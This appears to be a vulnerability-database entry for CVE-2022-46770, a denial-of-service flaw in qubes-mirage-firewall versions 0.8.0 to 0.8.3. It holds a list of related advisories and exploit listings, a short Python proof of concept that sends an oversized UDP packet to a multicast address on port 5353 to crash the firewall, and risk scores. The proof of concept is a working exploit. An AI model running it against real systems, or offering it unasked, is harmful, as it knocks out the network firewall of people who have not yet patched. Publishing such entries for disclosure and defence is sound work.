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qubes-mirage-firewall v0.8.3 - Denial Of Service Exploit
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | The vulnerability of Qubes Mirage Firewall, related to the execution of a loop with an unavailable exit condition, allows a intruder to trigger a service failure. | 9 Nov 202300:00 | – | bdu_fstec |
 | CVE-2022-46770 | 7 Dec 202222:11 | – | circl |
 | MirageOS qubes-mirage-firewall 资源管理错误漏洞 | 7 Dec 202200:00 | – | cnnvd |
 | CVE-2022-46770 | 7 Dec 202200:00 | – | cve |
 | CVE-2022-46770 | 7 Dec 202200:00 | – | cvelist |
 | qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS) | 31 Mar 202300:00 | – | exploitdb |
 | Mirage firewall for QubesOS 0.8.0-0.8.3 Denial of Service (DoS) Exploit | 18 Jan 202319:50 | – | metasploit |
 | CVE-2022-46770 | 7 Dec 202220:15 | – | nvd |
 | OSEC-2022-01 Infinite loop in console output on xen | 7 Dec 202200:00 | – | osv |
 | Qubes Mirage Firewall 0.8.3 Denial Of Service | 31 Mar 202300:00 | – | packetstorm |
10
# Exploit Title: qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS)
# Exploit Author: Krzysztof Burghardt <[email protected]>
# Vendor Homepage: https://mirage.io/blog/MSA03
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases
# Version: >= 0.8.0 & < 0.8.4
# Tested on: Qubes OS
# CVE: CVE-2022-46770
#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166
#!/usr/bin/env python3
from socket import socket, AF_INET, SOCK_DGRAM
TARGET = "239.255.255.250"
PORT = 5353
PAYLOAD = b'a' * 607
s = socket(AF_INET, SOCK_DGRAM)
s.sendto(PAYLOAD, (TARGET, PORT))
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31 Mar 2023 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.17.5
EPSS0.16905